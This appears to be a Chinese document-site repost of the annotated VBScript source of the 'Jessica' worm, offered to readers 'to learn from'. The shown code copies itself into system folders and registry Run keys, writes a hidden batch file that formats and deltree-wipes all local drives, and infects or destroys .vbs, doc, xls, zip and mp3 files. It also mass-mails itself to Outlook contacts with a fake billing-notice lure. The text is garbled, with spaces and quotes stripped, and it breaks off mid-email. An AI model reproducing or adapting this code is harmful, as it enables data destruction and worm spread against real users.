您好,欢迎访问三七文档
今天真是幸运,被我搞到了病毒Jessica的源代码。因为是用vbs编写的,所以贴在这里让大家看看。希望大家喜欢,也希望大家能从中学到东西。我给它加上了详细的解释。OnErrorResumeNext'容错语句,避免程序崩溃dimfilesyssysdirwindirfilevbscpSetfilesys=CreateObject(Scripting.FileSystemObject)'建立文件系统对象,必不可少setfile=filesys.OpenTextFile(WScript.ScriptFullname1)'以文本方式打开病毒自己vbscp=file.ReadAll'读入自己的内容main()'进入主过程submain()'主过程OnErrorResumeNextdimtimeovererrsmimmeaddaddaddresscsettimeover=CreateObject(WScript.Shell)err=timeover.RegRead(HKEY_CURRENT_USER\Software\Microsoft\WindowsScriptingHost\Settings\Timeout)'读入注册表中的超时键值if(err=1)then'超时设置timeover.RegWriteHKEY——CURRENT——USER\Softwate\Microsoft\WindowsScriptingHost\Settings\Timeout0REG_DWORDendifsetsm=CreateObject(WScript.Shell)imme=sm.RegRead(HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\OutlookExpress\5.0\Mail\SendMailImmediately)if(imme=0)then'修改OE的注册表键值,避免用户改为“不立刻发送邮件”sm.RegWriteHKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\OutlookExpress\5.0\Mail\SendMailImmediately1REG_DWORDendifsetaddadd=CreateObject(WScript.Shell)address=addadd.RegRead(HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\OutlookExpress\5.0\Mail\AutoAddReplicesToWAB)if(address=0)then'修改OE的注册表键值,避免用户改为“不立刻添加通讯薄”addadd.RegWriteHKEY_USERS\.DEFAULT\Identities\{C5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\OutlookExpress\5.0\Mail\AutoAddRepliesToWAB1REG_DWORDendifSetwindir=filesys.GetSpecialFolder(0)'得到windows目录Setsysdir=filesys.GetSpecialFolder(1)'得到system目录Setc=filesys.GetFile(WScript.ScriptFullName)'得到病毒的路径c.Copy(sysdir&\Kernel32.vbs)'将自己复制到system下c.Copy(windir&\Rundll32.vbs)'将自己复制到windows下c.Copy(sysdir&\Table.htm.vbs)'向system下再复制一个regload()'调用写注册表的模块mailworm()'调用发带病毒邮件的模块killc()'调用改写自动批处理的模块alldrivers()'调用删文件的模块endsubsubkillc()'破坏硬盘的过程OnErrorResumeNextdimfsautodiscdsssixdirSetfs=CreateObject(Scripting.FileSystemObject)Setauto=fs.CreateTextFile(c:\Auto.batTrue)'建立或修改自动批处理auto.WriteLine(@echooff)'屏蔽掉删除的进程auto.WriteLine(Smartdrv)'加载驱动器的集合Setdisc=fs.Drives'得到驱动器的集合ForEachdsindiscIfds.DriveType=2Then'如果驱动器是本地盘ss=ss&ds.DriveLetter'就将符号连在一起EndifNextss=LCase(StrReverse(Trim(ss)))'得到符号串的反向小写形式Fori=1toLen(ss)'遍历每个驱动器x=Mid(ssi1)'读每个驱动器的符号auto.WriteLine(format/autotest/q/u&x&:)'反向(从Z:到A:)自动格式化驱动器nextFori=1toLen(ss)x=Mid(ssi1)auto.WriteLine(deltree/y&x&:)'怕format失效,用deltree双保险nextauto.Close'关闭批处理文件setdir=fs.GetFile(c:\Auto.bat)dir.attributes=dir.attributes2'将自动批处理文件改为隐藏Endsubsubregload()'从注册表中自动加载的过程OnErrorResumeNextregHKEY_LOCAL_MACHINE\Software\Microsofr\Windows\CurrenVersion\Run\Exploerwindir&\Rundll32.vbs'在HKLM的RUN下添加键值regHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Explorerwindir&\Rundll32.vbs'在hkcu的run下添加键值endsubsuballdrivers()'得到本地驱动器的过程OnErrorResumeNextDimddcsSetdc=filesys.Drives'得到本地驱动器的集合ForEachdindc'遍历每个驱动器ifd.DriveType=2ord.DriveType=3Then'如果是本地盘或网络盘folderlist(d.path&\)'就完善路径,如c:就变成c:endifNextlistadriv=s'得到目录列表endsubsubinfectfiles(folderspec)'感染文件的过程OnErrorResumeNextdimff1fcextapcopsdocusetf=filesys.GetFolder(folderspec)'建立目录对象setfc=f.Files'得到文件的集合foreachf1infc'遍历每个文件ext=filesys.GetExtensionName(f1.path)'得到文件的后缀名ext=lcase(ext)'将后缀名小写s=lcase(f1.neme)'将文件路径小写if(ext=vbs)then'如果后缀是vbssetap=filesys.OpenTextFile(f1.path2true)'就以文本方式打开ap.writevbscp'将自己写入文件,达到感染的目的ap.close'关闭文件elseif(ext=doc)or(ext=xls)or(ext=zip)or(ext=mp3)thenf1.attributes=0'如果后缀是docxlszipmp3就将文件的属性改为无setdocu=filesys.OpenTextFile(fi.path2true)'以文本方式打开文件docu.writevbscp'写入自己的代码,以破坏文件docu.close'关闭文件filesys.filef1.pathtrue'将文件删除endifnextendsubsubfolderlist(folderspec)'遍历目录的过程OnErrorResumeNextdimff1sfsetf=filesys.GetFolder(folderspec)'建立目录对象setsf=f.SubFolders'得到子目录的集合foreachf1insfinfectfiles(f1.path)'遍历每个子目录folderlist(f1.path)'递归算法,以穷尽子目录,相当耗内存nextendsubsubreg(regkeyregvalue)'写注册表的过程Setregedit=CreateObject(WScript.Shell)regedit.RegWriteregkeyregvalueendsubfunctionregget(value)'读注册表的过程Setregedit=CreateObject(WScript.Shell)regget=regedit.RegRead(value)endfunctionfunctionfileexist(filespec)'判断文件是否存在的进程OnErrorResumeNextdimmsgif(filesys.FileExists(filespec))Then'如果文件存在,返回0;否则1msg=0elsemsg=1endiffileexist=msgendfunctionfunctionfolderexist(folderspec)'判断目录是否存在的过程dimmsgif(filesys.GetFolderExists(folderspec))then'如果目录存在,返回0;否则1msg=0elsemsg=1endiffileexist=msgendfunctionsubmailworm()'发带病毒邮件的过程OnErrorResumeNextdimxactrlistsctrentriesmaleadbregeditregvregadsetregedit=CreateObject(WScript.Shell)setout=WScript.CreatObject(Outlook.Application)'建立Outlook对象setmapi=out.GetNameSpace(MAPI)forctrlists=1tomapi.AddressLists.Count'遍历每个邮件地址seta=mapi.AddresLists(ctrlists)x=1regv=regedit.RegRead(HKEY_CURRENT_USER\Software\Microsoft\WAB\&a)if(regv=)thenregv=1endifif(int(a.AddressEntries.Count)int(regv))thenforctrentries=1toa.AddressEntries.Count'如果地址个数大于注册表中的键值malead=a.AddressEntries(x)regad=regad=regedit.RegRead(HKEY_CURRENT_USER\Software\Microsoft\WAB\&malead)if(regad=)thensetmale=out.CreateItem(0)male.Recipients.Add(malead)male.Subject=163电子邮箱收费通知'邮件标题male.Body=vbcrlf&亲爱的用户:您好!163电子邮局近日实施对免费电子邮件进行收费,欢迎您来租用163电子
本文标题:VBS病毒代码
链接地址:https://www.777doc.com/doc-5264470 .html